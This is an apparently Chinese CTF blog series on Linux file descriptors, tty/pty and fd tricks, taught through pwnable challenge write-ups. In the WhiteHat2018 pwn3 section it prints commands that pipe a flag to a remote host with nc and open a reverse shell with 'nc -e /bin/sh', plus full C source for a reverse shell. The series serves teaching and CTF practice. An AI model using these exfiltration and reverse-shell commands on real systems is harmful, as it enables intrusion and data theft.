我的方法是通过多次任意地址写在一个固定地址（如 elf.bss() + 0x500) 上写 rop chain，然后再次通过任意地址写改写 rbp 和 ret addr，通过 stack-pivot 来跳转到 rop chain。

exploit here

广告时间

广告一

目前和几位朋友（来自各大战队）一起做的 ctf-wiki

包括 CTF 中各个分类的基础知识及相关例题，也处于持续更新的过程中。

欢迎各位大佬加入（尤其是 web 前端大佬）

广告二

My Blog

My Github

欢迎师傅们一起交流 :)

Reference and Thanks to

https://www.jarviswang.me

Linux Manual Page

http://docs.pwntools.com/en/stable/index.html

https://github.com/Naetw/CTF-pwn-tips

https://veritas501.space/2017/03/10/JarvisOJ_WP/

http://blog.csdn.net/charlie_heng

https://www.jianshu.com/p/40f846d14450

https://www.jianshu.com/p/3d3a37c3e1c7

http://muhe.live/2016/12/24/what-DynELF-does-basically/

https://pastebin.com/eqzdtwmw

https://gloxec.github.io/2017/05/16/Reverse%20Engineer%20a%20stripped%20binary/

http://www.freebuf.com/articles/terminal/134980.html

Play with file descriptor(Ⅲ)

Wed, 12 Sep 2018 15:30:01 +0800

接下来以一些 pwnable 题目为例分析一些 fd tricks，如果以后遇到新的操作会继续更新。同样感谢大佬们的无私分享。

level 0: pwnable.kr - fd

fd@ubuntu:~$ cat fd.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
	if(argc<2){
		printf("pass argv[1] a number\n");
		return 0;
	}
	int fd = atoi( argv[1] ) - 0x1234;
	int len = 0;
	len = read(fd, buf, 32);
	if(!strcmp("LETMEWIN\n", buf)){
		printf("good job :)\n");
		system("/bin/cat flag");
		exit(0);
	}
	printf("learn about Linux file IO\n");
	return 0;

}

有了前两篇的基础，这个就很简单了，只需要控制 read 的第一个参数是 0 即可，当 fd = 0时，read 将会从 0 号文件，此时即为从 stdin 读取输入，接下来输入 “LETMEWIN\n” 即可。

level 1: WDB2018_impossible

binary & exp here

我们只分析与 fd 有关的部分

  memset(secret_random, 0, 8uLL);
  fd = open("/dev/urandom", 0);
  read(fd, secret_random, 8uLL);
  printf("Input your secret code:", secret_random);
  read(0, buf, 8uLL);
  if ( !memcmp(secret_random, buf, 8uLL) )
  {
    puts("Amazing! How can u know the secret code?");
    puts("Ok,u are the boss, u can do anything u want");
    puts("But u should be quiet about this, because this is illegal");
    puts("So...Close ur mouth...");
    close(0);
    qmemcpy(buf, bored_buf, 0x1000uLL);
  }

仔细看这段代码，open("/dev/urandom”, 0); 后并没有对应的 close 操作。因此如果重复运行这段代码，fd 会一直增加，到达该用户所能承受的最大量后（可以使用 ulimit -a 查看），下一次 open("/dev/urandom”, 0); 就会失败，导致 read(fd, secret_random, 8uLL); 读了空数据，我们只需要输入 \0 即可通过 memcmp 的验证；

还有一点需要注意，这道题目随后关闭了 stdin (close(0))，因此即使我们能 get shell，我们的输入也不会被接受。但幸运的是题目只关闭了 stdin，stdout 和 stderr 还是可以用的，因此思路就有很多了，比如直接构造一段 open("./flag", 0); read(0, addr, 0x100); puts(addr) 的 ropchain 就可以得到 flag （因为 close(0)， open("./flag”, 0) 返回的 fd 将为 0)。

类似的题目还有 pwnable.kr - otp

level 2: Whitehat2018 - pwn3

binary & exp here

同样只分析与 fd 有关的部分，通过 ret2vsyscall 获得一次任意命令执行的机会后，剩下的目的就是如何获取 flag 了

void echo()
{
  int v0; // ST0C_4
  int v1; // [rsp+Ch] [rbp-E4h]
  char buf[216]; // [rsp+10h] [rbp-E0h]
  unsigned __int64 v3; // [rsp+E8h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  v0 = v1 + 32;
  read(0, buf, v0);
  printf("Echo machine: ", buf);
  write(1, buf, v0);
  close(0);
  close(1);
  strcpy(buf, deleteyourevilstring);
}

这道题目的 stdin 和 stdout 都被关闭了，但因为我们有一次任意命令执行的机会，至少有以下三种方法获得 flag:

利用 stderr，执行 sh ./flag 。当 shell 检测到 flag 的内容不是合法的 shell 指令时，会通过 stderr 将 flag 内容打印到显示屏上

1
2

WhiteHat2018_pwn03 [master●] sh ./flag 
./flag: 1: ./flag: flag{this_is_flag}: not found

利用 pipe，前两篇提到 pipe 也是一种文件，虽然 stdin 和 stdout 被关闭了，但我们任然可以通过执行命令建立 pipe，利用 pipe 将 flag 内容发送到公网 vps，在 vps 上监听即可

WhiteHat2018_pwn03 [master●] cat ./flag| nc your_ip your_port
......
On vps:
ubuntu@VM-61-71-ubuntu:~$ nc -lvp your_port
Listening on [0.0.0.0] (family 0, port ????)
Connection from [1.202.222.147] port ???? [tcp/*] accepted (family 2, sport 47042)
flag{this_is_flag}

建立一个 reverse shell，reverse shell 的原理完全可以另开一篇 post 介绍，本篇只会在最后简单介绍其原理，更详细的可以看 reference。

WhiteHat2018_pwn03 [master●] nc -e /bin/sh your_ip your_port
......

On vps:
ubuntu@VM-61-71-ubuntu:~$ nc -lvp your_port
Listening on [0.0.0.0] (family 0, port ????)
Connection from [1.202.222.147] port ???? [tcp/*] accepted (family 2, sport 47442)
ls
flag
libc-2.27.i64
libc-2.27.so
onehit
onehit.i64
solve.py
pwd
/home/m4x/pwn_repo/WhiteHat2018_pwn03
id
uid=1000(m4x) gid=1000(m4x) 组=1000(m4x),7(lp),27(sudo),100(users),109(netdev),113(lpadmin),117(scanner),124(sambashare),127(docker)

类似的题目有 0CTF2018 的 babystack

level 3: TokyoWestern2018 - load

bianry & exp here

这道题目用到了很多 fd 的知识

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char a1a[32]; // [rsp+0h] [rbp-30h]
  __int64 size; // [rsp+20h] [rbp-10h]
  __off_t offset; // [rsp+28h] [rbp-8h]

  set_buffer();
  _printf_chk(1LL, "Load file Service\nInput file name: ");
  get_str(filename, 128);
  _printf_chk(1LL, "Input offset: ");
  offset = get_int();
  _printf_chk(1LL, "Input size: ");
  size = get_int();
  load_file(a1a, filename, offset, size);
  close_all();
  return 0LL;
}

void __fastcall load_file(void *a1, const char *a2, __off_t a3, __int64 a4)
{
  __int64 nbytes; // [rsp+0h] [rbp-30h]
  __off_t offset; // [rsp+8h] [rbp-28h]
  int fd; // [rsp+2Ch] [rbp-4h]

  offset = a3;
  nbytes = a4;
  fd = open(a2, 0);
  if ( fd == -1 )
  {
    puts("You can't read this file...");
  }
  else
  {
    lseek(fd, offset, 0);
    if ( read(fd, a1, nbytes) > 0 )
      puts("Load file complete!");
    close(fd);
  }
}

void close_all()
{
  close(0);
  close(1);
  close(2);
}

栈溢出的漏洞很好发现，但关键是我们只有打开远程文件，并从文件中读取内容的能力。根据一切皆文件的思想，如果打开 /proc/self/fd/0 ，在 load_file() 中就相当于 read(3, a1, nbytes)，但注意此时的 3 是 stdin，也就是说可以通过打开 /proc/self/fd/0 ，并从 stdin 读入数据来控制缓冲区内容。

那么我们要怎么利用呢？分析两种方法。

ropchain

pty 和 pts

先介绍一下什么是 pty 和 pts。我们已经知道 fd 指向被打开的文件，那么我们看一下 stdin，stdout 和 stderr 指向什么

others_reverse_shell [master●] ./file_descriptor
.......

others_reverse_shell [master●] pgrep file_descriptor
8942
others_reverse_shell [master●] file /proc/8942/fd/0
/proc/8942/fd/0: symbolic link to /dev/pts/2
others_reverse_shell [master●] file /proc/8942/fd/1
/proc/8942/fd/1: symbolic link to /dev/pts/2
others_reverse_shell [master●] file /proc/8942/fd/2
/proc/8942/fd/2: symbolic link to /dev/pts/2

都指向了 /dev/pts/2 这个文件，pts 是 tty 的一部分，后续会介绍。

在第一篇已经说到了 tty 子系统是用来管理终端的，对每一个连接的终端，都会有一个 tty 设备与其对应，关系如下：

                      +----------------+
                      |   TTY Driver   |
                      |                |
                      |   +-------+    |       +----------------+
 +------------+       |   |       |<---------->| User process A |
 | Terminal A |<--------->| ttyS0 |    |       +----------------+
 +------------+       |   |       |<---------->| User process B |
                      |   +-------+    |       +----------------+
                      |                |
                      |   +-------+    |       +----------------+
 +------------+       |   |       |<---------->| User process C |
 | Terminal B |<--------->| ttyS1 |    |       +----------------+
 +------------+       |   |       |<---------->| User process D |
                      |   +-------+    |       +----------------+
                      |                |
                      +----------------+

在 shell 里使用 tty 命令可以查看当前 shell 被关联到了哪个 tty

others_reverse_shell [master●] tty
/dev/pts/3
others_reverse_shell [master●] echo test > /dev/pts/3
test
others_reverse_shell [master●] lsof /dev/pts/3
COMMAND   PID USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
zsh      8944  m4x    0u   CHR  136,3      0t0    6 /dev/pts/3
zsh      8944  m4x    1u   CHR  136,3      0t0    6 /dev/pts/3
zsh      8944  m4x    2u   CHR  136,3      0t0    6 /dev/pts/3
zsh      8944  m4x   10u   CHR  136,3      0t0    6 /dev/pts/3
lsof    10598  m4x    0u   CHR  136,3      0t0    6 /dev/pts/3
lsof    10598  m4x    1u   CHR  136,3      0t0    6 /dev/pts/3
lsof    10598  m4x    2u   CHR  136,3      0t0    6 /dev/pts/3

可以看到当前 shell 使用的是 /dev/pts/3，因此直接往 /dev/pts/3 写数据跟标准输出是一样的；

使用 lsof 可以看出当前 shell 和 lsof 进程的 stdin(0u)，stdout(1u)，stderr(2u) 都绑定到了这个 tty 上，此时它们的关系如下

   Input    +--------------------------+    R/W     +------+
----------->|                          |<---------->| bash |
            |        /dev/pts/3        |            +------+
<-----------|                          |<---------->| lsof |
   Output   | Foreground process group |    R/W     +------+
            +--------------------------+

然后说一下 pty，使用 man 7 pty 查看 pty 的用户手册

DESCRIPTION
       A  pseudoterminal  (sometimes abbreviated "pty") is a pair of virtual character
       devices that provide a bidirectional communication channel.   One  end  of  the
       channel is called the master; the other end is called the slave.

pty 属于伪终端，“伪” 体现在 pty 是逻辑上的终端设备，但多用于模拟终端程序，比如使用 ssh，talnet 和 windows 下的 putty 等连接的终端时，此时并没有真正的设备连接到了主机，而是建立了一个伪终端来模拟各种行为。

从 man 手册中也可以看出 pty 分为 master 和 slave 两部分，其中 slave 部分称为 pts，master 称为 ptmx，二者结合实现 pty。工作流程可以简单的解释为进程通过调用 API 请求 ptmx 建立了一个 pts，然后会得到连接到 ptmx 的 fd 和一个新建的 pts（可以使用 man pts 查看更多细节）。

构造 ropchain

说了半天，再回到这道题目，虽然这道题目关闭了 stdin, stdout 和 stderr，pty 还在，换句话说，如果我们能控制 /dev/pts/? 的 fd 为 1，那么 puts(flag) 时就会把输出传递给 /dev/pts/? ，也就是我们能在显示屏上看到 flag。

总结一下思路：

利用 open("/proc/self/fd/0”, 0) 来构造 ropchain
ropchain 通过 open 和 read 把 flag 读到一个固定地址，同时控制 open("/dev/pty/?", 2) 返回的 fd 为 1
puts(flag) 时，系统调用为 write(1, flag, len(flag))，也就是 flag 的内容将会输出到显示屏上

ropchian exploit here

reverse shell

或者我们可以使用 reverse shell 来 get shell，这需要用到一些 procfs 的知识，不准备细讲，只需要知道可以通过往 /proc/self/mem 写数据更改 binary 内容即可（类似的题目有赛博地球杯的 fileManager 这道题目）。

通过 vmmap 可以看出 0x400000 - 0x401000 段具有可以行权限，且地址是固定的，因此我们可以控制 open("/proc/self/mem”, 2) 返回的 fd 为 1，然后通过 puts(shellcode) 既可以将 shellcode 写到这段地址上，再控制 rip 到 shellcode 就可以建立一个 reverse shell（reverse shell 的经典题目有 pwnable.tw 的 kidding 等）。

总结一下思路：

利用 open("/proc/self/fd/0”, 0) 来构造 ropchain，ropchain 实现 open("/proc/self/mem”, 2) 返回的 fd 为 1
通过 puts(shellcode) 将 shellcode 写到具有可执行权限的代码段，可以用 lseek 控制 puts 写的位置
控制 rip 为 shellcode 建立 reverse shell
可以使用 /dev/stdin 代替 /proc/self/fd/0，效果一样，可以给 shellcode 留下更多空间

revrese shell exploit here

reverse shell 原理

简单介绍一下 reverse shell 的原理，先给出经典的 reverse shell 的建立方式

others_reverse_shell [master●] bat reverse_shell.c 
───────┬─────────────────────────────────────────────────────────────────────────────────
       │ File: reverse_shell.c
───────┼─────────────────────────────────────────────────────────────────────────────────
   1   │ // reverse shell
   2   │ #include <sys/types.h>
   3   │ #include <sys/socket.h>
   4   │ #include <netinet/in.h>
   5   │ 
   6   │ #define NULL 0
   7   │ 
   8   │ int socket(int domain, int type, int protocal);
   9   │ int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
  10   │ int dup2(int oldfd, int newfd);
  11   │ int execve(const char *filename, char *const argv[], char *const envp[]);
  12   │ int close(int fd);
  13   │ 
  14   │ void reverse_shell()
  15   │ {
  16   │        char* address = "your_ip";
  17   │        int port = your_port;
  18   │ 
  19   │        // create a new socket but it has no address assigned yet
  20   │        int sockfd = socket(AF_INET/* 2 */, SOCK_STREAM/* 1 */, 0);
  21   │ 
  22   │        // create sockaddr_in structure for use with connect function
  23   │        struct sockaddr_in sock_in;
  24   │        sock_in.sin_family = AF_INET;
  25   │        sock_in.sin_addr.s_addr = inet_addr(address);
  26   │        sock_in.sin_port = htons(port);
  27   │ 
  28   │        // perform connect to target IP address and port
  29   │        connect(sockfd, (struct sockaddr*)&sock_in, sizeof(struct sockaddr_in));
  30   │ 
  31   │        // duplicate file descriptors for STDIN/STDOUT/STDERR
  32   │        for(int n = 0; n <= 2; n++)
  33   │        {
  34   │                dup2(sockfd, n);
  35   │        }
  36   │ 
  37   │        // execve("/bin/sh", 0, 0)
  38   │        execve("/bin/sh", NULL, NULL);
  39   │ 
  40   │        close(sockfd);
  41   │ 
  42   │        return;
  43   │ }
  44   │ 
  45   │ 
  46   │ int main()
  47   │ {
  48   │        reverse_shell();
  49   │ 
  50   │        return 0;
  51   │ }
───────┴─────────────────────────────────────────────────────────────────────────────────

如果前两篇看懂的话，那么参考这个代码，reverse shell 的原理就很好理解了

建立一个 socket，此时会新建一个 fd
给这个 socket 分配 ip 和 port
通过 dup2，将 socket 的 fd 复制到 0，1 和 2 上，这样 shell 的 io 就完全通过建立的 socket 了，这时如果我们监听这个 ip 和 port，就相当于拿到了一个 shell

level 4: HCTF2018 - the_end

veritas501师傅出的题目，很独特，关闭了 stdout 和 stderr，但保留了 stdin。

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  signed int i; // [rsp+4h] [rbp-Ch]
  void *buf; // [rsp+8h] [rbp-8h]

  sleep(0);
  printf("here is a gift %p, good luck ;)\n", &sleep);
  fflush(_bss_start);
  close(1);
  close(2);
  for ( i = 0; i <= 4; ++i )
  {
    read(0, &buf, 8uLL);
    read(0, buf, 1uLL);
  }
  exit(1337);
}

解法就不说了，可以参考官方 writeup。但更多人用的应该是非预期解直接使用 one_gadget。

总之，可以用某种方式拿到一个交互式的 shell （因为 stdout 已经被关闭，所以不会有输出）。可以通过 cat flag >&0， exec 1>&0; cat flag 等方法得到 flag。

为什么可以通过 stdin 来输出呢？因为

1
2

~ file /proc/self/fd/0
/proc/self/fd/0: symbolic link to /dev/pts/3

stdin 实际也是 pts 的软连接，因此可以输出。

需要注意的是，很多人在做这道题目时可能远程成功了，但本地使用 pwnlib.process 时失败，这是因为在 pwntools 的源码中有这样一段

        try:
            while not go.isSet():
                if term.term_mode:
                    data = term.readline.readline(prompt = prompt, float = True)
                else:
                    data = sys.stdin.read(1)	<== exception

                if data:
                    try:
                        self.send(data)
                    except EOFError:
                        go.set()
                        self.info('Got EOF while sending in interactive')
                else:
                    go.set()
        except KeyboardInterrupt:
            self.info('Interrupted')
            go.set()

interactive() 时程序试图从 1 读取内容，但此时只有 0，于是就触发了异常；但使用 pwnlib.remote 时是直接建立了一个 socket，因此不会触发异常（具体可以分析源码）

还要注意的是，当使用 socat，xinted 等挂载题目时，0, 1, 2 实际上已经不是 stdin, stdout, stderr 而是 socket 了，但因为端口转发的原因我们可以认为仍然是 stdin, stdout, stderr，这也提醒我们遇到和 fd 有关的题目时，可以本地挂载然后使用 pwnlib.remote 测试以减少不必要的麻烦。

References

https://lordidiot.github.io/2018-09-03/tokyowesterns-ctf-2018-load-pwn/

http://nano-chicken.blogspot.com/2014/07/linuxttyptypts.html

https://segmentfault.com/a/1190000009082089

http://shell-storm.org/shellcode/files/shellcode-219.php

http://tacxingxing.com/2018/01/19/procfs/

https://tdmathison.github.io/blog/slae32-1/

https://tdmathison.github.io/blog/slae32-2/

https://xz.aliyun.com/t/2548

https://xz.aliyun.com/t/2549

Play with file descriptor(II)

Tue, 11 Sep 2018 20:46:54 +0800

这一篇主要介绍一些文件描述符的内容。同样参考了很多，链接都放在 reference 了。

什么是文件

上一篇提到了 *nix 的一个哲学思想 一切皆文件，我们可以与 windows 做一个对比。

在 windows 中是文件的东西，在 *nix 中也是文件；
在 windows 中不是文件的东西，如进程，磁盘等也被抽象成了文件，可以使用访问文件的方法访问它们；
其次，一些更抽象的东西，比如管道（pipe），/dev/zero (一个可以读出无限个 0 的文件)，/dev/null（一个黑洞一样丢弃一切写入其中数据的文件），/dev/urandom（一个产生随机数据的文件）也是文件
再其次，类似 socket 通信这些东西也是文件

这样抽象的好处是提供了操作的一致性。几乎所有的读取（读文件，读系统状态，读 socket，读 PIPE），都可以用 read 函数进行；几乎所有的更改（写文件，更改系统参数，写 socket，写 PIPE），都可以使用 write 函数进行。所有的操作都统一，对于程序员而言是一件多么美好的事情。

举一个直观的例子，在较老的 linux 中，使用 cat /dev/urandom > /dev/dsp 可以使扬声器产生随机噪声

什么是文件描述符

在 *nix 系统中，当进程打开现有文件或创建新文件 (open) 时，内核向进程返回一个 文件描述符（file descriptor）。在形式上是一个非负整数，作为一个索引指向被打开的文件，所有执行 I/O 操作的系统调用都会通过文件描述符。

我们用下边的代码解释这个概念

// gcc file_descriptor.c -o file_decsriptor
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>

int main()
{
	getchar();

	puts("Open a file.");
	int fd = open("/dev/urandom", 0);
	getchar();

	printf("Close the file.\n");
	close(fd);
	getchar();

	return 0;
}

编译运行，一个进程就被建立起来了，我们可以在 /proc/[PID] 目录下查看这个进程的信息（这个机制与 linux 的 procfs 有关，不做过多介绍）。

others_reverse_shell [master●●] ./file_descriptor 
....

others_reverse_shell [master●●] pgrep file_descriptor
468
others_reverse_shell [master●●] ls /proc/468
attr             cwd       map_files   oom_adj        schedstat     syscall
autogroup        environ   maps        oom_score      sessionid     task
auxv             exe       mem         oom_score_adj  setgroups     timers
cgroup           fd        mountinfo   pagemap        smaps         timerslack_ns
clear_refs       fdinfo    mounts      patch_state    smaps_rollup  uid_map
cmdline          gid_map   mountstats  personality    stack         wchan
comm             io        net         projid_map     stat
coredump_filter  limits    ns          root           statm
cpuset           loginuid  numa_maps   sched          status

比如 /proc/[PID]/maps 存储了该进程的内存布局，/proc/[PID]/environ 存储了该进程的环境变量，还有很多有趣的文件，就不一一介绍了。

本篇主要讲的是 fd(file descriptor)，因此我们直奔主题，查看 /proc/[PID]/fd 下有什么

1
2

others_reverse_shell [master●●] ls /proc/468/fd  
0  1  2

可以看到该进程已经有了三个 fd，至于这三个 fd 是什么我们待会再谈，继续运行程序

others_reverse_shell [master●●] ./file_descriptor 

Open a file.
....

others_reverse_shell [master●●] ls /proc/468/fd
0  1  2  3
others_reverse_shell [master●●] file /proc/468/fd/3
/proc/468/fd/3: symbolic link to /dev/urandom

可以看到，当该进程新打开了一个文件时，/proc/[PID]/fd 中多了一个文件描述符，并且该文件描述符指向我们打开的文件 /dev/urandom。

继续运行

others_reverse_shell [master●●] ./file_descriptor ：

Open a file.

Close the file.
....

others_reverse_shell [master●●] ls /proc/468/fd
0  1  2

此时进程关闭了 /dev/urandom 这个文件，3 号文件描述符也就消失了。如果在程序关闭前，有对该文件进行 IO，那么这些操作都将通过这个文件描述符。

stdin, stdout 和 stderr

我们再写一个简单的程序

// gcc echo.c -o echo
#include <stdio.h>

int main()
{
	char buf[0x10];
	gets(buf);
	puts(buf);
	return 0;
}

编译生成可执行文件，使用 strace 观察它在运行过程中的系统调用

others_reverse_shell [master●●] strace ./echo 
execve("./echo", ["./echo"], 0x7fff39984720 /* 52 vars */) = 0
......
read(0,

忽略程序装载时的一些系统调用，程序停在了 read(0, 这里等待我们的输入，也就是说 gets 这个库函数实际上使用了read 这个系统调用，传入一些输入继续观察

others_reverse_shell [master●●] strace ./echo 
execve("./echo", ["./echo"], 0x7ffdc5b21cb0 /* 52 vars */) = 0
......
read(0, 12345678
"12345678\n", 1024)             = 9
......
write(1, "12345678\n", 912345678
)               = 9
exit_group(0)                           = ?
+++ exited with 0 +++

这说明 puts 实际上使用了 write 这个系统调用，使用 man 3 read 和 man 3 write 查看 read 和 write 的用户手册，可以发现如下的描述

NAME
       pread, read — read from a file

SYNOPSIS
       #include <unistd.h>

       ssize_t pread(int fildes, void *buf, size_t nbyte, off_t offset);
       ssize_t read(int fildes, void *buf, size_t nbyte);

DESCRIPTION
       The read() function shall attempt to read nbyte bytes from the file  associated
       with  the open file descriptor, fildes, into the buffer pointed to by buf.  The
       behavior of multiple concurrent reads on  the  same  pipe,  FIFO,  or  terminal
       device is unspecified.

......
NAME
       pwrite, write — write on a file

SYNOPSIS
       #include <unistd.h>

       ssize_t pwrite(int fildes, const void *buf, size_t nbyte,
           off_t offset);
       ssize_t write(int fildes, const void *buf, size_t nbyte);

DESCRIPTION
       The write() function shall attempt to write nbyte bytes from the buffer pointed
       to by buf to the file associated with the open file descriptor, fildes.

圈一下重点

read attempt to read bytes from the file associated with the open file descriptor;

write attempt to write bytes to the file associated with the open file descriptor

read 和 write 这两个系统调用一个从文件读取内容，一个把内容写到文件里。更具体的，这个进程运行时，read 是从 0 这个文件读取内容，然后把内容写到了 1 这个文件里。那么 0 和 1 ，以及刚刚提到的 2 这个文件又是什么？

这个答案很容易搜索到：0，1 和 2 分别为 stdin，stdout 和 stderr。man stdin 查看一下对应的用户手册，圈出重点

 Under  normal  circumstances every UNIX program has three streams opened for it when it starts up, 
 one for input, one for output, and one for printing diagnostic  or  error  messages.

The input stream is referred to as  "standard  input";  
the  output  stream  is referred to as "standard output"; 
and the error stream is referred to as "standard error".  
These terms are abbreviated to form the symbols used to refer  to these files, namely stdin, stdout, and stderr.

每个程序在运行时会自动打开三个文件 stdin，stdout 和 stderr，文件描述符为0,1,2，分别代表标准输入，标准输出和标准错误；

之后打开的文件会从 3 继续向后递增，新打开文件 (open) 时，将返回所能允许的最小文件描述符。

同时从 stdin 的用户手册里还可以发现 stderr 默认是无缓冲，stdout 默认是行缓冲，stdin 默认是全缓冲，可以通过 setbuf， setvbuf 等函数改变这些属性（关于 io 缓冲的更多知识可以参考这篇文章）

NOTES
       The  stream  stderr  is unbuffered.  The stream stdout is line-buffered when it
       points to a terminal.  Partial lines will not appear until fflush(3) or exit(3)
       is called, or a newline is printed.  This can produce unexpected results, espe‐
       cially with debugging output.  The buffering mode of the standard  streams  (or
       any  other stream) can be changed using the setbuf(3) or setvbuf(3) call.  Note
       that in case stdin is associated with a  terminal,  there  may  also  be  input
       buffering  in  the  terminal  driver,  entirely  unrelated  to stdio buffering.
       (Indeed, normally terminal input is line buffered in the kernel.)  This  kernel
       input handling can be modified using calls like tcsetattr(3); see also stty(1),
       and termios(3).

Play with file decsriptors

有了以上的概念，我们来看一下下边的代码

others_reverse_shell [master●●] bat play_with_fd.c
───────┬─────────────────────────────────────────────────────────────────────────────────
       │ File: play_with_fd.c
───────┼─────────────────────────────────────────────────────────────────────────────────
   1   │ // gcc play_with_fd.c -o play_with_fd
   2   │ #include <stdio.h>
   3   │ #include <fcntl.h>
   4   │ #include <unistd.h>
   5   │ #include <sys/stat.h>
   6   │
   7   │ int main()
   8   │ {
   9   │        puts("Now stdout is on.");
  10   │        puts("And then we close stdout.");
  11   │
  12   │        close(1);
  13   │        puts("dumb output because stdout is closed.");
  14   │
  15   │        int fd = open("output.txt", O_RDWR | O_CREAT, 0777);
  16   │        puts("Since open() returns 1 and puts() triggers write(1,....), this message wi
       │ ll be written to the file output.txt");
  17   │        close(fd); // don't forget to close(fd)!!!
  18   │
  19   │        return 0;
  20   │ }
───────┴─────────────────────────────────────────────────────────────────────────────────

编译运行，得到如下结果

others_reverse_shell [master●●] ./play_with_fd 
Now stdout is on.
And then we close stdout.
others_reverse_shell [master●●] cat output.txt 
Since open() returns 1 and puts() triggers write(1,....), this message will be written to the file output.txt

13 行的输出并没有向往常一样显示在显示屏上，因为 stdout 在 12 行已经被关闭了；
16 行的信息输出到了 output.txt 中，这是因为 15 行执行时，这个进程有 0 和 2 两个 fd，因此 open 返回所能允许的最小文件描述符 1，而 puts 实际是系统调用 write(1, ….)，因此这条消息就被写到了 1 （此时为打开的 output.txt）这个文件中；
同理，我们还可以通过 close(0)，close(1) 等操作控制进程从其他文件（包括其他进程，socket，pipe 等）进行 io。

值得一提的记得 17 行的 close(fd) 的操作，这是因为每个用户和每个进程所能承受的 fd 是有限的，进程的可以通过 /proc/[PID]/limits 查看，用户可以通过 ulimit -a 查看

post ulimit -a
-t: cpu time (seconds)              unlimited
-f: file size (blocks)              unlimited
-d: data seg size (kbytes)          unlimited
-s: stack size (kbytes)             8192
-c: core file size (blocks)         0
-m: resident set size (kbytes)      unlimited
-u: processes                       30645
-n: file descriptors                1024      <- max
-l: locked-in-memory size (kbytes)  16384
-v: address space (kbytes)          unlimited
-x: file locks                      unlimited
-i: pending signals                 30645
-q: bytes in POSIX msg queues       819200
-e: max nice                        0
-r: max rt priority                 0
-N 15:                              unlimited

比如我的环境下我最多能同时打开 1024 个文件，如果大于这个数值，会造成文件打开失败，后续的从文件 io 等操作全部失效。

至于更多的 fd tricks，在下一篇我将会从几道 pwnable 题目入手逐步介绍

References

Linux Programmer’s Manual

http://www.learnlinux.org.za/courses/build/shell-scripting/ch01s04.html

https://zh.wikipedia.org/wiki/文件描述符 https://www.zhihu.com/question/25696682 https://www.zhihu.com/question/30420304

Play with file descriptor(Ⅰ)

Mon, 10 Sep 2018 23:17:33 +0800

本来只是想记录一下 reverse shell 的一些东西，结果越学越觉得什么都不懂，索性深入研究了一下从底层讲一讲 pwnable 中的 fd tricks，预计共分三篇完成。

第一篇主要区分一些设备上容易混淆的概念，和 fd 关系并不大，但是很有意思。参考了很多，链接都放在最后了。

(这篇 post 基本是搬运了参考链接- -感谢大佬们的无私分享)

什么是 CLI

Command-line Interface 即命令行界面，通俗的说就是黑客电影中满屏都是字符的界面，与 GUI（图形用户界面，Graphical User Interface）相对。CLI 具有高效率等优点，因此即使是图形化较完善的操作系统（如 Windows）中，也保留了 cmd.exe 和 powershell 等命令行的程序

什么是终端

在计算机领域，终端 (Terminal) 指的是一种将用户的输入传给计算机，并显示计算结果的机器，但要充分理解终端的话，需要我们回溯历史。

历史上的终端

在计算机刚诞生的时代，巨大的计算机往往放置在一个单独的房间里，程序员在其他的房间里通过某些设备与计算机进行交互，这些设备就称为终端(Terminal)，也叫终端机。

早期的终端一般是一种叫做电传打字机（Teletype）的设备，原因很简单，*nix 系统作为一个多用户的系统，需要每个用户都有一个终端，而价格低廉的 Teletype 就成了最好的选择（为什么不用键盘和显示器？因为那个时代还没有独立的键盘和显示器）。

这样，第一代程序员将这些打字机接到主机上，就实现了 *nix 的多用户交互，电传打字机也就成了第一个 Terminal 。

什么是控制台

上边说到，历史上的终端是一种连接到计算机上方便用户输入输出的外设，但有一个终端与众不同，它是计算机的一个组成部分，与主机一体，这个特殊的终端就叫控制台（Console）。

控制台，顾名思义是用来管理计算机的，只能给系统管理员用，具有比普通终端更大的权限，一台计算机一般只有一个控制台，但可以有很多个终端（如下图中左边的即为 console，右边的为 terminal）

但需要注意的是，随着 PC 的普及，Console 与 Terminal 的概念已经逐渐模糊。当我们在管理系统时，他们是控制台；当做一般的工作时，他们是终端。我们既是一般用户，有事系统管理员

因此，现在的 Console 和 Terminal 基本可以看作是同义词

什么是终端模拟器

随着硬件的发展，我们现在已经很少见到专门的终端设备了，取而代之的是键盘（输入）和显示器（输出）。

没了终端设备，为了与操作系统交互，就需要一个程序来处理键盘和显示器的动作，模拟传统终端的行为，这种程序就是终端模拟器（Terminal Emulator）（下图是我正在使用的 terminal emulator： deepin-terminal）

Terminal Emulator 的工作流程如下：

捕获键盘输入
将输入的信号经过处理后传递给其他程序（程序会认为这是从一个真正的终端设备输入的）
获得程序的输出结果
调用图形接口，将输出结果渲染到显示器

终端模拟器的种类有很多，举几个常见的例子：

Linux: gnome-terminal, Konsole;
macOS: Terminal.app, iTerm2;
Windows: Win32 控制台

同样，随着历史发展，现在当人们一般直接直接将终端模拟器称作终端

终端窗口与虚拟控制台

大部分终端模拟器都是在图形用户界面（GUI）中运行的，叫做终端窗口（Terminal Window），如上图中的 deepin-terminal。

但有一些终端模拟器比较特殊，如在 *nix 系统下，使用快捷键 Ctrl + Alt + F1...F6 等快捷键可以切换到虚拟控制台（Virtual Console），快捷键 Ctrl + Alt + F7 切换回 GUI，虽然 Virtual Console 不运行在 GUI 中，但他们实质上也是一种终端模拟器（下图为正在现实系统启动信息的 Virtual Console）。

Terminal Window 与 Virtual Console 的区别是 Virutal Console 是直接由操作系统内核（OS kernel）提供的，因此当图形界面 down 了时，往往还可以到 virtual console 抢救，因为他们是由 kernel 直接提供的，只要系统不出问题一般都还是可以用的

那么，什么是 TTY ？

先给结论，tty 就是终端的统称。

从上边的历史我们知道电传打字机（Teletype）是最早的终端，tty 即为 Teletype 的缩写。由于 *nix 是多用户的操作系统，所以一台计算机会有多个终端连接。在早期，为了支持这些连接的电传打字机，开发者设计了名为 tty 的子系统（因为所有终端都是 tty，因此这个子系统也被命名为了 tty）。

同时因为 *nix 系统的哲学之一 —— Everything is a file，具体的硬件设备也被抽象为了 /dev/tty? 等文件

上边说的 ctrl + alt + F1-6 等 virtual console 分别对应了图中的 /dev/tty1-6

虽然现在终端设备已经不再限制于 teletype，但 tty 这个名称还是被保留了下来，所以在现代，tty 就可以理解成终端设备，终端设备即为 tty 。

